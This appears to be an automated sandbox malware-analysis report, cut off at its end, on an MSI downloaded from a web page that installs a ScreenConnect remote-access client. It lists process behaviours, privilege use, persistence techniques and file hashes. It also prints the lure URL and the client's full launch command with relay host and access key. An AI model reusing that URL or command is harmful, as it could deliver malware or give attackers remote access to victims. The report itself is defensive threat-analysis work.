Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4DA7A3322DA1F2AB9B02536694DA2DDB\SourceList\Media\1 = ";"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2872	chrome.exe
2872	chrome.exe
5620	msiexec.exe
5620	msiexec.exe
5356	ScreenConnect.ClientService.exe
5356	ScreenConnect.ClientService.exe
2872	chrome.exe
2872	chrome.exe
5696	chrome.exe
5696	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs

pid	Process
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeShutdownPrivilege	2028	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2028	msiexec.exe
Token: SeShutdownPrivilege	2872	chrome.exe
Token: SeCreatePagefilePrivilege	2872	chrome.exe
Token: SeSecurityPrivilege	5620	msiexec.exe
Token: SeCreateTokenPrivilege	2028	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2028	msiexec.exe
Token: SeLockMemoryPrivilege	2028	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2028	msiexec.exe
Token: SeMachineAccountPrivilege	2028	msiexec.exe
Token: SeTcbPrivilege	2028	msiexec.exe
Token: SeSecurityPrivilege	2028	msiexec.exe
Token: SeTakeOwnershipPrivilege	2028	msiexec.exe
Token: SeLoadDriverPrivilege	2028	msiexec.exe
Token: SeSystemProfilePrivilege	2028	msiexec.exe
Token: SeSystemtimePrivilege	2028	msiexec.exe
Token: SeProfSingleProcessPrivilege	2028	msiexec.exe
Token: SeIncBasePriorityPrivilege	2028	msiexec.exe
Token: SeCreatePagefilePrivilege	2028	msiexec.exe
Token: SeCreatePermanentPrivilege	2028	msiexec.exe
Token: SeBackupPrivilege	2028	msiexec.exe
Token: SeRestorePrivilege	2028	msiexec.exe
Token: SeShutdownPrivilege	2028	msiexec.exe
Token: SeDebugPrivilege	2028	msiexec.exe
Token: SeAuditPrivilege	2028	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2028	msiexec.exe
Token: SeChangeNotifyPrivilege	2028	msiexec.exe
Token: SeRemoteShutdownPrivilege	2028	msiexec.exe
Token: SeUndockPrivilege	2028	msiexec.exe
Token: SeSyncAgentPrivilege	2028	msiexec.exe
Token: SeEnableDelegationPrivilege	2028	msiexec.exe
Token: SeManageVolumePrivilege	2028	msiexec.exe
Token: SeImpersonatePrivilege	2028	msiexec.exe
Token: SeCreateGlobalPrivilege	2028	msiexec.exe
Token: SeCreateTokenPrivilege	2028	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2028	msiexec.exe
Token: SeLockMemoryPrivilege	2028	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2028	msiexec.exe
Token: SeMachineAccountPrivilege	2028	msiexec.exe
Token: SeTcbPrivilege	2028	msiexec.exe
Token: SeSecurityPrivilege	2028	msiexec.exe
Token: SeTakeOwnershipPrivilege	2028	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2028	msiexec.exe
2028	msiexec.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 59 IoCs

pid	Process
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2872	chrome.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe
2832	ScreenConnect.WindowsClient.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 4560	2872	chrome.exe	85
PID 2872 wrote to memory of 2156	2872	chrome.exe	87
PID 2872 wrote to memory of 2156	2872	chrome.exe	87
PID 2872 wrote to memory of 4960	2872	chrome.exe	88
PID 2872 wrote to memory of 5936	2872	chrome.exe	89
PID 2872 wrote to memory of 5936	2872	chrome.exe	89
PID 2872 wrote to memory of 3368	2872	chrome.exe	91
PID 2872 wrote to memory of 1680	2872	chrome.exe	92
PID 2872 wrote to memory of 3368	2872	chrome.exe	91
PID 2872 wrote to memory of 1680	2872	chrome.exe	92
PID 2872 wrote to memory of 3980	2872	chrome.exe	93
PID 2872 wrote to memory of 3980	2872	chrome.exe	93
PID 2872 wrote to memory of 844	2872	chrome.exe	94
PID 2872 wrote to memory of 844	2872	chrome.exe	94
PID 2872 wrote to memory of 644	2872	chrome.exe	95
PID 2872 wrote to memory of 3192	2872	chrome.exe	98
PID 2872 wrote to memory of 2028	2872	chrome.exe	102
PID 5620 wrote to memory of 5308	5620	msiexec.exe	106
PID 5308 wrote to memory of 208	5308	MsiExec.exe	107
PID 2872 wrote to memory of 4484	2872	chrome.exe	114
PID 2872 wrote to memory of 4576	2872	chrome.exe	115
PID 2872 wrote to memory of 4212	2872	chrome.exe	116
PID 5620 wrote to memory of 3688	5620	msiexec.exe	117
PID 5620 wrote to memory of 716	5620	msiexec.exe	119
PID 5620 wrote to memory of 2776	5620	msiexec.exe	120
PID 5356 wrote to memory of 2832	5356	ScreenConnect.ClientService.exe	122
PID 2872 wrote to memory of 5696	2872	chrome.exe	124

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://taxflick.com/balalaw/complete.php
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff8c44cc728,0x7ff8c44cc734,0x7ff8c44cc740
  2⤵
  PID:4560
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1652,i,12307931587035481773,8756624261779639916,262144 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1960 /prefetch:2
  2⤵
  PID:2156
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1564,i,1883214003548594029,9279635961904191110,524288 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2260 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2356,i,5934159278221413782,1087859684704136821,524288 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2524 /prefetch:8
  2⤵
  PID:5936
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3144,i,7708946069398557800,9749985508157681947,2097152 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3256 /prefetch:1
  2⤵
  PID:3368
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3156,i,10915368393197889606,13685130201067639186,2097152 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3296 /prefetch:1
  2⤵
  PID:1680
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4440,i,15736443146534954656,3973761070928565233,2097152 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4452 /prefetch:2
  2⤵
  PID:3980
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4712,i,2111712195753647940,15453785987616553230,2097152 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4720 /prefetch:1
  2⤵
  PID:844
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5676,i,10881297345055129178,11547792392270021449,524288 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5724 /prefetch:8
  2⤵
  PID:644
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5760,i,4405975312009865659,13110616090820182427,524288 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5752 /prefetch:8
  2⤵
  PID:3192
- C:\Windows\System32\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\Downloads\balalaw.msi"
  2⤵
  - Badlisted process makes network request
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2028
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5928,i,10838245761669782654,9686217999148305245,524288 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3508 /prefetch:8
  2⤵
  PID:4484
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5880,i,7640421823789697151,17374524865398637319,524288 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5868 /prefetch:8
  2⤵
  PID:4576
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6088,i,16420493770035837100,7678484290422823700,524288 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5852 /prefetch:8
  2⤵
  PID:4212
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5804,i,14806589436696595637,17879871952500219383,262144 --field-trial-handle=1964,i,6079886114337540851,12173863851230727830,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5812 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5696

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5576

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5620
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6B109D4D401D1EFC2D43E7A307C1F47F C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5308
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI20D1.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240656828 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:208
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:3688
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 9FB1F93476675D9B20BB1A7A10D211AC
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:716
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding FEA408F99BDEF6A407FA1867F6E45202 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:2776

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:2396

C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-npv03g-relay.screenconnect.com&p=443&s=f7202128-a23a-447f-877c-f9951867eca3&k=BgIAAACkAABSU0ExAAgAAAEAAQCRy3eVk%2fb%2fvhrt3nyZDSyxZ5ugAowG8TMIQVtsyOtE1bfhu1T9258xXn4cFuUEmfByVFxUuDOgICffuInJD%2bT22ERHxpJqbonpAyqsG4MJHRuH9DA0faGysxPM979zkipsXbQVikjtxuyRj7zdKZZmXAF36WC21NTXKaQPqCLcmNuuzg%2f9AOHhYsjnLS6vO%2fMR2vJzEWdmuEgSLDdbeA2wsQ5QYUxFWNQLRGKHTHi41%2b2bQUldlfhGNAA%2bvaKbmZm409EUZlQKLfiGt6GTE3jDpPLx6jAhp76TKQc7asgpAZmJDjKwqzxVKam7YxdBmdaG1LXNe0DB%2bKSeN2r99C%2fP"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5356
- C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.WindowsClient.exe" "RunRole" "b69b5057-acae-4e0f-a23a-30c74cd1f27d" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:2832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Authentication Package

T1547.002

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Component Object Model Hijacking

T1546.015

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e586b97.rbs

Path C:\Config.Msi\e586b97.rbs
Size 214KB
SHA256 d5cd62690de56a3713f878744131aefc450103ccc4dd8160567e164752bb6f6b
MD5 1414d8fe43fd4cacf347d43cf4f0cdc1
SHA1 183fb646c29590ad7899158b98cf8a19364cf25b
SHA512 c3db30a6328fa8f9edf39051e27d3e48d849637293e58ad333d17ed041a726288a7d3d36068d6945980c22116eeccc5136374e61e3b33da822915fc8b40df00a
SSDEEP 3072:bA9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGU:bAuH2aCGw1ST1wQLdqvU
TLSH
T143248C327490807EE7FA1A36D93E9A617E7CF6240760C59EC3848C1E9D604D06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\Client.en-US.resources
Size 64KB
SHA256 efdb0b4fcc38b52cbf72336bd107a814db8454003f3495de21e2026a148823ea
MD5 92232708774febf9a4a464bbeda36215
SHA1 521d4e630f5e00977bbca7cd17dd0d22dbe1ca9e
SHA512 59442cbc57604f0dd170bb4f86f0e2b6c96408daf67250e6f40e00d034033b6871502cd83df0267f4628c3a035f191d56f26bf1927e691b5330524eb810852f2
SSDEEP 1536:5fkiK2FoQ67wwLFSj7Be3sZvU/7UFN+9nwLLChTKN1ljpneMarA:5fkiK2FoQ6jFSj7Be3sZvU/7UFN+9nwS
TLSH
T1A8532E1277FD0A58F5F36F35BE7A94619937BC5A2E25C06E1028815E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\Client.resources
Size 6KB
SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
MD5 1e863134f29bcabe1ee571c91ac4fbe6
SHA1 57cc5966fcae49019da5f8f507c840cedfc103f4
SHA512 7e2640c4ddb8719230de0ddb0d18f9a4b1499a037247f12b142b1c16a2a989390abcb5ac7816a63dbce2d43c08510cec7cfc87cd24458bc2fa919c396b36d4f9
SSDEEP 192:rpDZHfbkqYvZJG293IIs1Z4EO/nM3ZWYijpo2YG:rRZjkqYxJ3JI/sMJ/ijp/p
TLSH
T1D8D13BC49BFEAC3CF05E51BE3A7692990275FF113AA3C3582460106A7F228856C56737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.Client.dll
Size 399KB
SHA256 1d1c8db8e0b387f244a0461fb6794af70ee88a17f71d8dcc6dd0874a0c8dab7f
MD5 376e2676392741ad688bc3bf3d83a26a
SHA1 2e0d280e3427db22a8697afe2e2dd557238f665a
SHA512 82058b5ac47dc3f30317acc2a3b59b119931d25409dc99e541669d4c89bf6c90e9f8ac0240e4cc6f094dc41010183131e423f3292ed1504a17c37b4ad2d35d0f
SSDEEP 6144:HMq4l+fvJNsZvD8ETEavHy+vd7JPYIYyqQni65/PGP:s5+U5DHTEavSW7OQni3P
TLSH
T17594BF86B3A44C6DFB6F0A77F45041299E73AC456552F26D4E04B8F90AB3BD28740BE3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.ClientService.dll
Size 78KB
SHA256 29adce52ff944f421dddfc6516fac0e229656b57c1b12630e89d79e6f0ced806
MD5 e9a0de7488d34737c9e27fc67d2829ec
SHA1 b0d7b4e392f5fee30d6f4e2f37cc3eda4d803e39
SHA512 e4524ec2eb9d3ed84fa972f59945394ed4a22437b1b15654dded25a2f9a94608d1b3280200f6311e94895a70d4719103a148486c26e5594449f0d2f621fe5c50
SSDEEP 1536:a7xQmiDHn5f2yoI4vn3R0asV7k/QQV3lTSQmkbPqgW7e:a7xQmKH5eygf3R0T0QQVFFMgWa
TLSH
T1FE733C41E3AD5E26C9DF4F387465B0450F709A02A4A3FBD99D8EA4EA1B573C12A043DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 f1d99bcdff1dc1ed8032b43cc3a8e60efc36425662642aed62678244f3527460
MD5 2c4f0dfd0b5ec8d233d7e92513482789
SHA1 1c98e94c26d607a41fe441b5bd19b527f4db9092
SHA512 7edf0a16147257eed3f69954288614d183927552b10eb5ef2d4cccc6c66f78d5c06a97d56a2e884c8c8e12a51462581c9bb7ca181b1ad016b16a113345e971d7
SSDEEP 1536:4g1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgcjU0HMJ7nf:xhbNDxZGXfdHrX7rAc6myJkgcjU0HsL
TLSH
T175935B13B9C28872D473093158E1DAB09A3FF9615E61DEAB3788022E4F741C1AE75E77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.Core.dll
Size 553KB
SHA256 cddbbd7794d1a2b4238625e8b84eb98df32abf63b29144fd5f9304728244b2d0
MD5 7180573587acc046905889e2d683aaa8
SHA1 3d0ea39fa488816e48ec62fc92c8dfb749dfadf3
SHA512 5e2347c34f96d9f87606ae6e2cc54a0ef637623f8f9d32710dfd6840f334b8e219276f5a65024af4258c40a22969d41486670995314a2478b8397bffe679bf98
SSDEEP 12288:A+IY2aqte5exGY7FwVzP/DVzeCXV8VNNveAppEt1bySX/fpd:A0QdxKAAr/fT
TLSH
T1A2C46D5233D88B36C5AF0B3AE860D6151B70E901B05AE75B29DEE4E91E837455E0C3FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Program Files (x86)\ScreenConnect Client (183849f3c3c09b99)\ScreenConnect.Windows.dll
Size 1.7MB
SHA256 78ecf3c5e30e91b3a6c0f19d0b70d054922e7fd94c94ab93a0a925d3d568ffb8
MD5 363dd5b6964c171bbc1e39a34ffa9d00
SHA1 c91a34fa70b46ced5001419fe9112cc3963c3e2d
SHA512 6c4e41611d5e2d893c2cad32f7640feff7372250a5c6fce1426207895b3208266ab797c64abc779a626f83df7779c680a31d7c8b826fa267fa934a7e4de61191
